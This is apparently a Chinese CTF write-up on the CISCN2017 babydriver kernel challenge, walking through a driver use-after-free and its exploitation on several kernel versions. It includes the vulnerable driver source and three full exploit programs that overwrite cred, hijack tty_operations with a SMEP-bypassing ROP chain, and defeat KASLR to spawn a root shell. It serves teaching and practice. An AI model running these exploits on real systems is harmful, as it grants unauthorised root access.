0x00.一切开始之前
对于学习过 kernel pwn 的诸位而言,包括笔者在内的第一道入门题基本上都是 CISCN2017 - babydriver
这一道题,同样地,无论是在 CTF wiki 亦或是其他的 kernel pwn 入门教程当中,这一道题向来都是入门的第一道题(笔者的教程除外)
当然,在笔者看来,这道题当年的解法已然过时,笔者个人认为在当下入门 kernel pwn 最好还是使用我们在用户态下学习的路径——从栈溢出开始再到“堆”
但不可否认的是,时至今日,这一道题仍然具备着相当的的学习价值,仍旧是一道不错的 kernel pwn 入门题,因此笔者今天就来带大家看看——到了2021年,这一道 2017年的“基础的 kernel pwn 入门题”的解法究竟有了些什么变化,又能给我们带来什么样的启发,笔者将借助这篇文章阐述一些 kernel pwn 的利用思路
PRE. babydev.ko 源码复刻
笔者将尝试给出在不同的内核版本下这一道题的解法,因此需要重新编译本题的内核模块,不过笔者在网上未能找到本题的源码,好在题目逻辑并不复杂,笔者选择自己复刻一份
/*
* arttnba3_module.ko
* developed by arttnba3
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define DEVICE_NAME "babydev"
#define CLASS_NAME "a3module"
static int major_num;
static struct class * module_class = NULL;
static struct device * module_device = NULL;
static spinlock_t spin;
static int __init kernel_module_init(void);
static void __exit kernel_module_exit(void);
static int a3_module_open(struct inode *, struct file *);
static ssize_t a3_module_read(struct file *, char __user *, size_t, loff_t *);
static ssize_t a3_module_write(struct file *, const char __user *, size_t, loff_t *);
static int a3_module_release(struct inode *, struct file *);
static long a3_module_ioctl(struct file *, unsigned int cmd, long unsigned int param);
static struct file_operations a3_module_fo =
{
.owner = THIS_MODULE,
.unlocked_ioctl = a3_module_ioctl,
.open = a3_module_open,
.read = a3_module_read,
.write = a3_module_write,
.release = a3_module_release,
};
static struct
{
void *device_buf;
size_t device_buf_len;
}babydev_struct;
module_init(kernel_module_init);
module_exit(kernel_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("arttnba3");
static int __init kernel_module_init(void)
{
spin_lock_init(&spin);
printk(KERN_INFO "[arttnba3_TestModule:] Module loaded. Start to register device...\n");
major_num = register_chrdev(0, DEVICE_NAME, &a3_module_fo);
if(major_num < 0)
{
printk(KERN_INFO "[arttnba3_TestModule:] Failed to register a major number.\n");
return major_num;
}
printk(KERN_INFO "[arttnba3_TestModule:] Register complete, major number: %d\n", major_num);
module_class = class_create(THIS_MODULE, CLASS_NAME);
if(IS_ERR(module_class))
{
unregister_chrdev(major_num, DEVICE_NAME);
printk(KERN_INFO "[arttnba3_TestModule:] Failed to register class device!\n");
return PTR_ERR(module_class);
}
printk(KERN_INFO "[arttnba3_TestModule:] Class device register complete.\n");
module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);
if(IS_ERR(module_device))
{
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
printk(KERN_INFO "[arttnba3_TestModule:] Failed to create the device!\n");
return PTR_ERR(module_device);
}
printk(KERN_INFO "[arttnba3_TestModule:] Module register complete.\n");
return 0;
}
static void __exit kernel_module_exit(void)
{
printk(KERN_INFO "[arttnba3_TestModule:] Start to clean up the module.\n");
device_destroy(module_class, MKDEV(major_num, 0));
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
printk(KERN_INFO "[arttnba3_TestModule:] Module clean up complete. See you next time.\n");
}
static long a3_module_ioctl(struct file * __file, unsigned int cmd, long unsigned int param)
{
if (cmd == 65537)
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = kmalloc(param, GFP_ATOMIC);
babydev_struct.device_buf_len = param;
printk(KERN_INFO "alloc done\n");
return 0;
}
else
{
printk(KERN_INFO "default arg is %ld\n", param);
return -22;
}
}
static int a3_module_open(struct inode * __inode, struct file * __file)
{
babydev_struct.device_buf = kmalloc(0x40, GFP_ATOMIC);
babydev_struct.device_buf_len = 0x40;
printk(KERN_INFO "device open\n");
return 0;
}
static int a3_module_release(struct inode * __inode, struct file * __file)
{
kfree(babydev_struct.device_buf);
printk(KERN_INFO "device release\n");
return 0;
}
static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)
{
size_t result;
if (!babydev_struct.device_buf)
return -1LL;
result = -2LL;
if (babydev_struct.device_buf_len > size)
{
copy_to_user(user_buf, babydev_struct.device_buf, size);
result = size;
}
return result;
}
static ssize_t a3_module_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)
{
size_t result;
if (!babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > size)
{
copy_from_user(babydev_struct.device_buf, user_buf, size);
result = size;
}
return result;
}
0x01.kernel 4.4.72 —— 最初的babydriver
我们首先来看这道题最初是什么样子的,下面是笔者刚入门时写的 WP
分析
解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本
结构
查看boot.sh
:
#!/bin/bash
qemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
- 开启了SMEP保护
解压磁盘镜像看看有没有什么可以利用的东西
$ mkdir core
$ cp ./core.cpio ./core
$ cd core
$ cpio -idv < ./core.cpio
查看其启动脚本init
:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
其中加载了一个叫做babydriver.ko
的驱动,按照惯例这个就是有着漏洞的驱动
惯例的checksec
,发现其只开了NX保护,整挺好
拖入IDA进行分析
在驱动被加载时会初始化一个设备节点文件/dev/babydev
在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct
中
使用ioctl
进行通信则可以重新申请内存,改变该chunk的大小
在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞
read和write就是简单的读写该chunk,便不贴图了
漏洞利用:Kernel UAF
若是我们的程序打开两次设备babydev
,由于其chunk储存在全局变量中,那么我们将会获得指向同一个chunk的两个指针
而在关闭设备后该chunk虽然被释放,但是指针未置0,我们便可以使用另一个文件描述符操作该chunk,即Use After Free漏洞
而通过ioctl我们便可以调整这个chunk的大小,,那么只要我们将该chunk的大小设为一个cred结构体
的大小后关闭该设备,之后fork()出新进程,那么内核中该空闲chunk就会被分配给新的进程作为其cred结构体,而我们此时还有另一个文件描述符可以操纵该内核模块中的该chunk,只要修改该cred结构体的 euid 为root便可以完成提权
exploit
最终的exp如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int pid = fork();
if(pid < 0)
{
printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n");
return -1;
}
else if(pid == 0) // the child thread
{
char buf[30] = {0};
write(fd2, buf, 28);
if(getuid() == 0)
{
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
return 0;
}
else
{
printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n");
return -1;
}
}
else // the parent thread
{
wait(NULL);//waiting for the child
}
return 0;
}
本地测试的话就放进磁盘重新打包后qemu起系统,运行即可获得root shell
0x02.kernel 4.5 —— cred_jar 与 kmalloc-192 分离
现在我们将目光放到 kernel 版本 4.5——离本题最近的一个版本,我们来看 cred_jar 的初始化过程,见 kernel/cred.c
4.4.72
/* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); }
4.5
/* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }
我们可以注意到,在 slab 的创建 flag 中多了 一个 SLAB_ACCOUNT
,这意味着 cred_jar 与 kmalloc-192 将不再合并,因此我们无法通过 kmalloc 直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权
这里我们选择通过 tty 设备来完成提权
漏洞利用:Kernel UAF + stack migitation + SMEP bypass + ret2usr
内核符号表可读(白给),我们能够很方便地获得相应内核函数的地址
没有开启 kaslr,所以可以直接从 vmlinux 中提取gadget地址,这里 ROPgadget 和 ropper 半斤八两,建议两个配合着一起用,也可以用 pwntools 的 ELF,个人感觉更加方便
由于开启了 SMEP 保护,无法直接 ret2usr,故我们需要改变 cr4 寄存器的值以 bypass smep
观察到在内核中有着如下的 gadget 可以很方便地改变 cr4 寄存器的值:
接下来考虑如何通过 UAF 劫持程序执行流
在 /dev
下有一个伪终端设备 ptmx
,在我们打开这个设备时内核中会创建一个 tty_struct
结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations
那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx
这个设备的 tty_struct
结构体与其内部的 tty_operations
函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针
由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations
结构体
内核中没有类似one_gadget
一类的东西,因此为了完成ROP我们还需要进行一次栈迁移
使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts
结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:
我们不难观察到,在我们调用tty_operations->write
时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax
的gadget,便能够成功地将栈迁移到tty_operations
结构体的开头
使用 ROPgadget 我们可以找到一条交换 rsp 与 rax 后还能控制程序执行流的 gadget
那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链
而tty_operations
结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可
FINAL EXPLOIT
最终的exploit应当如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define XCHG_RAX_RSP_RET 0xffffffff8155b280
#define POP_RDI_RET 0xffffffff811bf66d
#define POP_RAX_RET 0xffffffff8100ccce
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0
#define SWAPGS_POP_RBP_RET 0xffffffff81063674
#define IRETQ 0xffffffff8107c1e8
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = XCHG_RAX_RSP_RET;
fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);
write(fd3, buf, 0x8);
return 0;
}
本地打包,运行,成功提权到root
0x03.加大难度(I)——设置kptr_restrict,开启KASLR
作为一道入门级别的题目,这一道题并没有开启 KASLR,同时内核符号表 /proc/kallsyms
可读,内核的一切在我们面前几乎是一览无余,但如果开启了 KASLR 且内核符号表不可读呢?这个时候我们又应该如何进行利用?
在文件系统 init 中添加如下语句:
echo 2 > /proc/sys/kernel/kptr_restrict
在启动脚本的 append 项添加
kaslr
泄露内核基址
在相当的一部分 kernel pwn 题目甚至是真实世界的 cve 的 poc 中,对 tty 设备进行利用向来都是最热门的手法之一,tty 设备对于我们内核攻击者而言是一个十分万能的工具箱——她不仅能帮助我们控制内核执行流,还能够帮助我们泄露内核中的相关地址
ptm_unix98_ops && pty_unix98_ops
由于我们已经获得了一个 tty_struct,故可以直接通过 tty_struct 中的 tty_operations 泄露地址
在 ptmx 被打开时内核通过 alloc_tty_struct()
分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_ops
或 pty_unix98_ops
,因此我们可以通过 tty_operations 来泄露内核基址
在调试阶段我们可以先关掉 kaslr 开 root 从
/proc/kallsyms
中读取其偏移
开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops
FINAL EXPLOIT
成功泄露内核基址之后,剩下的步骤与前面就没有差别了,最终的 exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define XCHG_RAX_RSP_RET 0xffffffff8155b280
#define POP_RDI_RET 0xffffffff811bf66d
#define POP_RAX_RET 0xffffffff8100ccce
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0
#define SWAPGS_POP_RBP_RET 0xffffffff81063674
#define IRETQ 0xffffffff8107c1e8
#define PREPARE_KERNEL_CRED 0xffffffff810a15a0
#define COMMIT_CREDS 0xffffffff810a11b0
#define PTY_UNIX98_OPS 0xffffffff81a74700
#define PTM_UNIX98_OPS 0xffffffff81a74820
size_t commit_creds = NULL, prepare_kernel_cred = NULL, kernel_offset = 0, kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int main(void)
{
int fd1, fd2, tty_fd;
size_t rop[0x100];
size_t tty_data[0x100];
size_t fake_ops[0x100];
size_t tty_ops;
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
// construct UAF and get a tty_struct
fd1 = open("/dev/babydev", 2);
fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
tty_fd = open("/dev/ptmx", 2);
// get tty data and calculate the kernel base
read(fd2, tty_data, 0x40);
tty_ops = *(size_t*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
// construct rop chain
int p = 0;
rop[p++] = POP_RDI_RET + kernel_offset;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET + kernel_offset;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET + kernel_offset;
rop[p++] = 0;
rop[p++] = IRETQ + kernel_offset;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
for(int i = 0; i < 0x10; i++)
fake_ops[i] = XCHG_RAX_RSP_RET + kernel_offset;
fake_ops[0] = POP_RAX_RET + kernel_offset;
fake_ops[1] = rop;
tty_data[3] = fake_ops;
// hijack tty_struct and tty_operations
write(fd2, tty_data, 0x40);
// triger
write(tty_fd, "arttnba3", 0x8);
return 0;
}
本地打包,运行,get root
0xFF.What’s mote?
在下篇中笔者将阐述:
- KPTI bypass 的基本手法
- seq_operations 与系统调用过程结合利用构造 ROP
- userfaultfd 与 setattr 的利用
- ……